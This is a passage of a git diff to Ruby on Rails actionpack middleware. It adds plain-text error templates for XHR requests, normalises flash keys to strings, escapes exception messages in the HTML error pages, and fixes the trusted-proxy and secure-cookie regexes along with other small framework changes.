+ routes_inspector: routes_inspector(exception),
+ source_extract: wrapper.source_extract,
+ line_number: wrapper.line_number,
+ file: wrapper.file
)
file = "rescues/#{wrapper.rescue_template}"
- body = template.render(:template => file, :layout => 'rescues/layout')
- render(wrapper.status_code, body)
+
+ if request.xhr?
+ body = template.render(template: file, layout: false, formats: [:text])
+ format = "text/plain"
+ else
+ body = template.render(template: file, layout: 'rescues/layout')
+ format = "text/html"
+ end
+ render(wrapper.status_code, body, format)
else
raise exception
end
end
- def render(status, body)
- [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
+ def render(status, body, format)
+ [status, {'Content-Type' => "#{format}; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
end
def log_error(env, wrapper)
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 1de3d14530..2326bb043a 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,5 +1,5 @@
require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionDispatch
class ExceptionWrapper
@@ -32,6 +32,8 @@ module ActionDispatch
def initialize(env, exception)
@env = env
@exception = original_exception(exception)
+
+ expand_backtrace if exception.is_a?(SyntaxError) || exception.try(:original_exception).try(:is_a?, SyntaxError)
end
def rescue_template
@@ -96,7 +98,7 @@ module ActionDispatch
def source_fragment(path, line)
return unless Rails.respond_to?(:root) && Rails.root
full_path = Rails.root.join(path)
- if File.exists?(full_path)
+ if File.exist?(full_path)
File.open(full_path, "r") do |file|
start = [line - 3, 0].max
lines = file.each_line.drop(start).take(6)
@@ -104,5 +106,11 @@ module ActionDispatch
end
end
end
+
+ def expand_backtrace
+ @exception.backtrace.unshift(
+ @exception.to_s.split("\n")
+ ).flatten!
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index 89003e7a5e..4821d2a899 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/hash/keys'
+
module ActionDispatch
class Request < Rack::Request
# Access the contents of the flash. Use <tt>flash["notice"]</tt> to
@@ -50,13 +52,14 @@ module ActionDispatch
end
def []=(k, v)
+ k = k.to_s
@flash[k] = v
@flash.discard(k)
v
end
def [](k)
- @flash[k]
+ @flash[k.to_s]
end
# Convenience accessor for <tt>flash.now[:alert]=</tt>.
@@ -92,8 +95,8 @@ module ActionDispatch
end
def initialize(flashes = {}, discard = []) #:nodoc:
- @discard = Set.new(discard)
- @flashes = flashes
+ @discard = Set.new(stringify_array(discard))
+ @flashes = flashes.stringify_keys
@now = nil
end
@@ -106,17 +109,18 @@ module ActionDispatch
end
def []=(k, v)
+ k = k.to_s
@discard.delete k
@flashes[k] = v
end
def [](k)
- @flashes[k]
+ @flashes[k.to_s]
end
def update(h) #:nodoc:
- @discard.subtract h.keys
- @flashes.update h
+ @discard.subtract stringify_array(h.keys)
+ @flashes.update h.stringify_keys
self
end
@@ -129,6 +133,7 @@ module ActionDispatch
end
def delete(key)
+ key = key.to_s
@discard.delete key
@flashes.delete key
self
@@ -155,7 +160,7 @@ module ActionDispatch
def replace(h) #:nodoc:
@discard.clear
- @flashes.replace h
+ @flashes.replace h.stringify_keys
self
end
@@ -186,6 +191,7 @@ module ActionDispatch
# flash.keep # keeps the entire flash
# flash.keep(:notice) # keeps only the "notice" entry, the rest of the flash is discarded
def keep(k = nil)
+ k = k.to_s if k
@discard.subtract Array(k || keys)
k ? self[k] : self
end
@@ -195,6 +201,7 @@ module ActionDispatch
# flash.discard # discard the entire flash at the end of the current action
# flash.discard(:warning) # discard only the "warning" entry at the end of the current action
def discard(k = nil)
+ k = k.to_s if k
@discard.merge Array(k || keys)
k ? self[k] : self
end
@@ -231,6 +238,12 @@ module ActionDispatch
def now_is_loaded?
@now
end
+
+ def stringify_array(array)
+ array.map do |item|
+ item.kind_of?(Symbol) ? item.to_s : item
+ end
+ end
end
def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index fb70b60ef6..b426183488 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -41,7 +41,7 @@ module ActionDispatch
when Proc
strategy.call(request.raw_post)
when :json
- data = ActiveSupport::JSON.decode(request.body)
+ data = ActiveSupport::JSON.decode(request.raw_post)
data = {:_json => data} unless data.is_a?(Hash)
Request::Utils.deep_munge(data).with_indifferent_access
else
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 2f6968eb2e..15b5a48535 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/reporting'
+
module ActionDispatch
# ActionDispatch::Reloader provides prepare and cleanup callbacks,
# intended to assist with code reloading during development.
@@ -25,19 +27,26 @@ module ActionDispatch
#
class Reloader
include ActiveSupport::Callbacks
+ include ActiveSupport::Deprecation::Reporting
- define_callbacks :prepare, :scope => :name
- define_callbacks :cleanup, :scope => :name
+ define_callbacks :prepare
+ define_callbacks :cleanup
# Add a prepare callback. Prepare callbacks are run before each request, prior
# to ActionDispatch::Callback's before callbacks.
def self.to_prepare(*args, &block)
+ unless block_given?
+ warn "to_prepare without a block is deprecated. Please use a block"
+ end
set_callback(:prepare, *args, &block)
end
# Add a cleanup callback. Cleanup callbacks are run after each request is
# complete (after #close is called on the response body).
def self.to_cleanup(*args, &block)
+ unless block_given?
+ warn "to_cleanup without a block is deprecated. Please use a block"
+ end
set_callback(:cleanup, *args, &block)
end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index 8879291dbd..cbb066b092 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -31,7 +31,7 @@ module ActionDispatch
TRUSTED_PROXIES = %r{
^127\.0\.0\.1$ | # localhost IPv4
^::1$ | # localhost IPv6
- ^fc00: | # private IPv6 range fc00
+ ^[fF][cCdD] | # private IPv6 range fc00::/7
^10\. | # private IPv4 range 10.x.x.x
^172\.(1[6-9]|2[0-9]|3[0-1])\.| # private IPv4 range 172.16.0.0 .. 172.31.255.255
^192\.168\. # private IPv4 range 192.168.x.x
@@ -47,12 +47,12 @@ module ActionDispatch
# clients (like WAP devices), or behind proxies that set headers in an
# incorrect or confusing way (like AWS ELB).
#
- # The +custom_trusted+ argument can take a regex, which will be used
+ # The +custom_proxies+ argument can take a regex, which will be used
# instead of +TRUSTED_PROXIES+, or a string, which will be used in addition
# to +TRUSTED_PROXIES+. Any proxy setup will put the value you want in the
# middle (or at the beginning) of the X-Forwarded-For list, with your proxy
# servers after it. If your proxies aren't removed, pass them in via the
- # +custom_trusted+ parameter. That way, the middleware will ignore those
+ # +custom_proxies+ parameter. That way, the middleware will ignore those
# IP addresses, and return the one that you want.
def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
@app = app
@@ -143,7 +143,7 @@ module ActionDispatch
# proxies with incompatible IP header conventions, and there is no way
# for us to determine which header is the right one after the fact.
# Since we have no idea, we give up and explode.
- should_check_ip = @check_ip && client_ips.last
+ should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
if should_check_ip && !forwarded_ips.include?(client_ips.last)
# We don't know which came from the proxy, and which from the user
raise IpSpoofAttackError, "IP spoofing attack?! " +
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index b9eb8036e9..0864e7ef2a 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -15,8 +15,8 @@ module ActionDispatch
# best possible option given your application's configuration.
#
# If you only have secret_token set, your cookies will be signed, but
- # not encrypted. This means a user cannot alter his +user_id+ without
- # knowing your app's secret key, but can easily read his +user_id+. This
+ # not encrypted. This means a user cannot alter their +user_id+ without
+ # knowing your app's secret key, but can easily read their +user_id+. This
# was the default for Rails 3 apps.
#
# If you have secret_key_base set, your cookies will be encrypted. This
@@ -29,11 +29,12 @@ module ActionDispatch
#
# Configure your session store in config/initializers/session_store.rb:
#
- # Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
+ # Rails.application.config.session_store :cookie_store, key: '_your_app_session'
#
- # Configure your secret key in config/initializers/secret_token.rb:
+ # Configure your secret key in config/secrets.yml:
#
- # Myapp::Application.config.secret_key_base 'secret key'
+ # development:
+ # secret_key_base: 'secret key'
#
# To generate a secret key for an existing application, run `rake secret`.
#
@@ -50,7 +51,7 @@ module ActionDispatch
# decode signed cookies generated by your app in external applications or
# Javascript before upgrading.
#
- # Note that changing digest or secret invalidates all existing sessions!
+ # Note that changing the secret key will invalidate all existing sessions!
class CookieStore < Rack::Session::Abstract::ID
include Compatibility
include StaleSessionCheck
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index fcc5bc12c4..1d4f0f89a6 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -29,8 +29,11 @@ module ActionDispatch
def call(env)
@app.call(env)
rescue Exception => exception
- raise exception if env['action_dispatch.show_exceptions'] == false
- render_exception(env, exception)
+ if env['action_dispatch.show_exceptions'] == false
+ raise exception
+ else
+ render_exception(env, exception)
+ end
end
private
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
index 8d5ab19f60..0c7caef25d 100644
--- a/actionpack/lib/action_dispatch/middleware/ssl.rb
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -32,11 +32,14 @@ module ActionDispatch
private
def redirect_to_https(request)
- url = URI(request.url)
- url.scheme = "https"
- url.host = @host if @host
- url.port = @port if @port
- headers = { 'Content-Type' => 'text/html', 'Location' => url.to_s }
+ host = @host || request.host
+ port = @port || request.port
+
+ location = "https://#{host}"
+ location << ":#{port}" if port != 80
+ location << request.fullpath
+
+ headers = { 'Content-Type' => 'text/html', 'Location' => location }
[301, headers, []]
end
@@ -57,7 +60,7 @@ module ActionDispatch
cookies = cookies.split("\n")
headers['Set-Cookie'] = cookies.map { |cookie|
- if cookie !~ /;\s+secure(;|$)/i
+ if cookie !~ /;\s*secure\s*(;|$)/i
"#{cookie}; secure"
else
cookie
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index c6a7d9c415..2764584fe9 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -11,9 +11,10 @@ module ActionDispatch
end
def match?(path)
- path = path.dup
+ path = unescape_path(path)
+ return false unless path.valid_encoding?
- full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
+ full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(path))
paths = "#{full_path}#{ext}"
matches = Dir[paths]
@@ -40,7 +41,6 @@ module ActionDispatch
end
def escape_glob_chars(path)
- path.force_encoding('binary') if path.respond_to? :force_encoding
path.gsub(/[*?{}\[\]]/, "\\\\\\&")
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
index db219c8fa9..db219c8fa9 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
new file mode 100644
index 0000000000..396768ecee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
@@ -0,0 +1,23 @@
+<%
+ clean_params = @request.filtered_parameters.clone
+ clean_params.delete("action")
+ clean_params.delete("controller")
+
+ request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+ def debug_hash(object)
+ object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+ end unless self.class.method_defined?(:debug_hash)
+%>
+
+Request parameters
+<%= request_dump %>
+
+Session dump
+<%= debug_hash @request.session %>
+
+Env dump
+<%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %>
+
+Response headers
+<%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
index b181909bff..b181909bff 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
new file mode 100644
index 0000000000..d4af5c9b06
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
@@ -0,0 +1,15 @@
+<%
+ traces = { "Application Trace" => @application_trace,
+ "Framework Trace" => @framework_trace,
+ "Full Trace" => @full_trace }
+%>
+
+Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %>
+
+<% traces.each do |name, trace| %>
+<% if trace.any? %>
+<%= name %>
+<%= trace.join("\n") %>
+
+<% end %>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
index 57a2940802..f154021ae6 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
@@ -8,7 +8,7 @@
</header>
<div id="container">
- <h2><%= @exception.message %></h2>
+ <h2><%= h @exception.message %></h2>
<%= render template: "rescues/_source" %>
<%= render template: "rescues/_trace" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
new file mode 100644
index 0000000000..603de54b8b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
@@ -0,0 +1,9 @@
+<%= @exception.class.to_s %><%
+ if @request.parameters['controller']
+%> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+<% end %>
+
+<%= @exception.message %>
+<%= render template: "rescues/_source" %>
+<%= render template: "rescues/_trace" %>
+<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
index ca14215946..5c016e544e 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -3,5 +3,5 @@
</header>
<div id="container">
- <h2><%= @exception.message %></h2>
+ <h2><%= h @exception.message %></h2>
</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
new file mode 100644
index 0000000000..ae62d9eb02
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.text.erb
@@ -0,0 +1,3 @@
+Template is missing
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
index cd3daff065..7e9cedb95e 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -2,7 +2,7 @@
<h1>Routing Error</h1>
</header>
<div id="container">
- <h2><%= @exception.message %></h2>
+ <h2><%= h @exception.message %></h2>
<% unless @exception.failures.empty? %>
<p>
<h2>Failure reasons:</h2>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
new file mode 100644
index 0000000000..f6e4dac1f3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.text.erb
@@ -0,0 +1,11 @@
+Routing Error
+
+<%= @exception.message %>
+<% unless @exception.failures.empty? %>
+Failure reasons:
+<% @exception.failures.each do |route, reason| %>
+ - <%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %>
+<% end %>
+<% end %>
+
+<%= render template: "rescues/_trace", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
index 31f46ee340..027a0f5b3e 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -10,7 +10,7 @@
<p>
Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
</p>
- <pre><code><%= @exception.message %></code></pre>
+ <pre><code><%= h @exception.message %></code></pre>
<div class="source">
<div class="info">
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
new file mode 100644
index 0000000000..5da21d9784
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
@@ -0,0 +1,8 @@
+<% @source_extract = @exception.source_extract(0, :html) %>
+<%= @exception.original_exception.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+
+Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised:
+<%= @exception.message %>
+<%= @exception.sub_template_message %>
+<%= render template: "rescues/_trace", format: :text %>
+<%= render template: "rescues/_request_and_response", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
index c1fbf67eed..259fb2bb3b 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
@@ -2,5 +2,5 @@
<h1>Unknown action</h1>
</header>
<div id="container">
- <h2><%= @exception.message %></h2>
+ <h2><%= h @exception.message %></h2>
</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
new file mode 100644
index 0000000000..83973addcb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
@@ -0,0 +1,3 @@
+Unknown action
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
index 95461fa693..cce0d75af4 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -4,21 +4,41 @@
border-collapse: collapse;
}
- #route_table td {
- padding: 0 30px;
+ #route_table thead tr {
+ border-bottom: 2px solid #ddd;
+ }
+
+ #route_table thead tr.bottom {
+ border-bottom: none;
}
- #route_table tr.bottom th {
- padding-bottom: 10px;
+ #route_table thead tr.bottom th {
+ padding: 10px 0;
line-height: 15px;
}
- #route_table .matched_paths {
+ #route_table tbody tr {
+ border-bottom: 1px solid #ddd;
+ }
+
+ #route_table tbody tr:nth-child(odd) {
+ background: #f2f2f2;
+ }
+
+ #route_table tbody.exact_matches,
+ #route_table tbody.fuzzy_matches {
background-color: LightGoldenRodYellow;
+ border-bottom: solid 2px SlateGrey;
}
- #route_table .matched_paths {
- border-bottom: solid 3px SlateGrey;
+ #route_table tbody.exact_matches tr,
+ #route_table tbody.fuzzy_matches tr {
+ background: none;
+ border-bottom: none;
+ }
+
+ #route_table td {
+ padding: 4px 30px;
}
#path_search {
@@ -45,13 +65,15 @@
<th><%# HTTP Verb %>
</th>
<th><%# Path %>
- <%= search_field(:path, nil, id: 'path_search', placeholder: "Path Match") %>
+ <%= search_field(:path, nil, id: 'search', placeholder: "Path Match") %>
</th>
<th><%# Controller#action %>
</th>
</tr>
</thead>
- <tbody class='matched_paths' id='matched_paths'>
+ <tbody class='exact_matches' id='exact_matches'>
+ </tbody>
+ <tbody class='fuzzy_matches' id='fuzzy_matches'>
</tbody>
<tbody>
<%= yield %>
@@ -59,6 +81,7 @@
</table>
<script type='text/javascript'>
+ // Iterates each element through a function
function each(elems, func) {
if (!elems instanceof Array) { elems = [elems]; }
for (var i = 0, len = elems.length; i < len; i++) {
@@ -66,77 +89,110 @@
}
}
- function setValOn(elems, val) {
- each(elems, function(elem) {
- elem.innerHTML = val;
- });
+ // Sets innerHTML for an element
+ function setContent(elem, text) {
+ elem.innerHTML = text;
}
- function onClick(elems, func) {
- each(elems, function(elem) {
- elem.onclick = func;
- });
- }
+ // Enables path search functionality
+ function setupMatchPaths() {
+ // Check if the user input (sanitized as a path) matches the regexp data attribute
+ function checkExactMatch(section, elem, value) {
+ var string = sanitizePath(value),
+ regexp = elem.getAttribute("data-regexp");
- // Enables functionality to toggle between `_path` and `_url` helper suffixes
- function setupRouteToggleHelperLinks() {
- var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
- onClick(toggleLinks, function(){
- var helperTxt = this.getAttribute("data-route-helper"),
- helperElems = document.querySelectorAll('[data-route-name] span.helper');
- setValOn(helperElems, helperTxt);
- });
- }
+ showMatch(string, regexp, section, elem);
+ }
- // takes an array of elements with a data-regexp attribute and
- // passes their their parent <tr> into the callback function
- // if the regexp matchs a given path
- function eachElemsForPath(elems, path, func) {
- each(elems, function(e){
- var reg = e.getAttribute("data-regexp");
- if (path.match(RegExp(reg))) {
- func(e.parentNode.cloneNode(true));
- }
- })
- }
+ // Check if the route path data attribute contains the user input
+ function checkFuzzyMatch(section, elem, value) {
+ var string = elem.getAttribute("data-route-path"),
+ regexp = value;
- // Ensure path always starts with a slash "/" and remove params or fragments
- function sanitizePath(path) {
- var path = path.charAt(0) == '/' ? path : "/" + path;
- return path.replace(/\#.*|\?.*/, '');
- }
+ showMatch(string, regexp, section, elem);
+ }
- // Enables path search functionality
- function setupMatchPaths() {
- var regexpElems = document.querySelectorAll('#route_table [data-regexp]'),
- pathElem = document.querySelector('#path_search'),
- selectedSection = document.querySelector('#matched_paths'),
- noMatchText = '<tr><th colspan="4">None</th></tr>';
+ // Display the parent <tr> element in the appropriate section when there's a match
+ function showMatch(string, regexp, section, elem) {
+ if(string.match(RegExp(regexp))) {
+ section.appendChild(elem.parentNode.cloneNode(true));
+ }
+ }
+
+ // Check if there are any matched results in a section
+ function checkNoMatch(section, defaultText, noMatchText) {
+ if (section.innerHTML === defaultText) {
+ setContent(section, defaultText + noMatchText);
+ }
+ }
+ // Ensure path always starts with a slash "/" and remove params or fragments
+ function sanitizePath(path) {
+ var path = path.charAt(0) == '/' ? path : "/" + path;
+ return path.replace(/\#.*|\?.*/, '');
+ }
- // Remove matches if no path is present
- pathElem.onblur = function(e) {
- if (pathElem.value === "") selectedSection.innerHTML = "";
+ var regexpElems = document.querySelectorAll('#route_table [data-regexp]'),
+ searchElem = document.querySelector('#search'),
+ exactMatches = document.querySelector('#exact_matches'),
+ fuzzyMatches = document.querySelector('#fuzzy_matches');
+
+ // Remove matches when no search value is present
+ searchElem.onblur = function(e) {
+ if (searchElem.value === "") {
+ setContent(exactMatches, "");
+ setContent(fuzzyMatches, "");
+ }
}
// On key press perform a search for matching paths
- pathElem.onkeyup = function(e){
- var path = sanitizePath(pathElem.value),
- defaultText = '<tr><th colspan="4">Paths Matching (' + path + '):</th></tr>';
+ searchElem.onkeyup = function(e){
+ var userInput = searchElem.value,
+ defaultExactMatch = '<tr><th colspan="4">Paths Matching (' + sanitizePath(userInput) +'):</th></tr>',
+ defaultFuzzyMatch = '<tr><th colspan="4">Paths Containing (' + userInput +'):</th></tr>',
+ noExactMatch = '<tr><th colspan="4">No Exact Matches Found</th></tr>',
+ noFuzzyMatch = '<tr><th colspan="4">No Fuzzy Matches Found</th></tr>';
// Clear out results section
- selectedSection.innerHTML= defaultText;
+ setContent(exactMatches, defaultExactMatch);
+ setContent(fuzzyMatches, defaultFuzzyMatch);
+
+ // Display exact matches and fuzzy matches
+ each(regexpElems, function(elem) {
+ checkExactMatch(exactMatches, elem, userInput);
+ checkFuzzyMatch(fuzzyMatches, elem, userInput);
+ })
+
+ // Display 'No Matches' message when no matches are found
+ checkNoMatch(exactMatches, defaultExactMatch, noExactMatch);
+ checkNoMatch(fuzzyMatches, defaultFuzzyMatch, noFuzzyMatch);
+ }
+ }
- // Display matches if they exist
- eachElemsForPath(regexpElems, path, function(e){
- selectedSection.appendChild(e);
+ // Enables functionality to toggle between `_path` and `_url` helper suffixes
+ function setupRouteToggleHelperLinks() {
+
+ // Sets content for each element
+ function setValOn(elems, val) {
+ each(elems, function(elem) {
+ setContent(elem, val);
});
+ }
- // If no match present, tell the user
- if (selectedSection.innerHTML === defaultText) {
- selectedSection.innerHTML = selectedSection.innerHTML + noMatchText;
- }
+ // Sets onClick event for each element
+ function onClick(elems, func) {
+ each(elems, function(elem) {
+ elem.onclick = func;
+ });
}
+
+ var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
+ onClick(toggleLinks, function(){
+ var helperTxt = this.getAttribute("data-route-helper"),
+ helperElems = document.querySelectorAll('[data-route-name] span.helper');
+
+ setValOn(helperElems, helperTxt);
+ });
}
setupMatchPaths();
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 2dfaab3587..ddeea24bb3 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -16,6 +16,7 @@ module ActionDispatch
config.action_dispatch.signed_cookie_salt = 'signed cookie'
config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+ config.action_dispatch.perform_deep_munge = true
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
@@ -28,6 +29,7 @@ module ActionDispatch
initializer "action_dispatch.configure" do |app|
ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+ ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index 7bc812fd22..973627f106 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -7,6 +7,9 @@ module ActionDispatch
ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
+ # Singleton object used to determine if an optional param wasn't specified
+ Unspecified = Object.new
+
def self.create(store, env, default_options)
session_was = find env
session = Request::Session.new(store, env)
@@ -127,6 +130,15 @@ module ActionDispatch
@delegate.delete key.to_s
end
+ def fetch(key, default=Unspecified, &block)
+ load_for_read!
+ if default == Unspecified
+ @delegate.fetch(key.to_s, &block)
+ else
+ @delegate.fetch(key.to_s, default, &block)
+ end
+ end
+
def inspect
if loaded?
super
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
index 8b43cdada8..9d4f1aa3c5 100644
--- a/actionpack/lib/action_dispatch/request/utils.rb
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -1,18 +1,29 @@
module ActionDispatch
class Request < Rack::Request
class Utils # :nodoc:
+
+ mattr_accessor :perform_deep_munge
+ self.perform_deep_munge = true
+
class << self
# Remove nils from the params hash
- def deep_munge(hash)
+ def deep_munge(hash, keys = [])
+ return hash unless perform_deep_munge
+
hash.each do |k, v|
+ keys << k
case v
when Array
- v.grep(Hash) { |x| deep_munge(x) }
+ v.grep(Hash) { |x| deep_munge(x, keys) }
v.compact!
- hash[k] = nil if v.empty?
+ if v.empty?
+ hash[k] = nil
+ ActiveSupport::Notifications.instrument("deep_munge.action_controller", keys: keys)
+ end
when Hash
- deep_munge(v)
+ deep_munge(v, keys)
end
+ keys.pop
end
hash
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
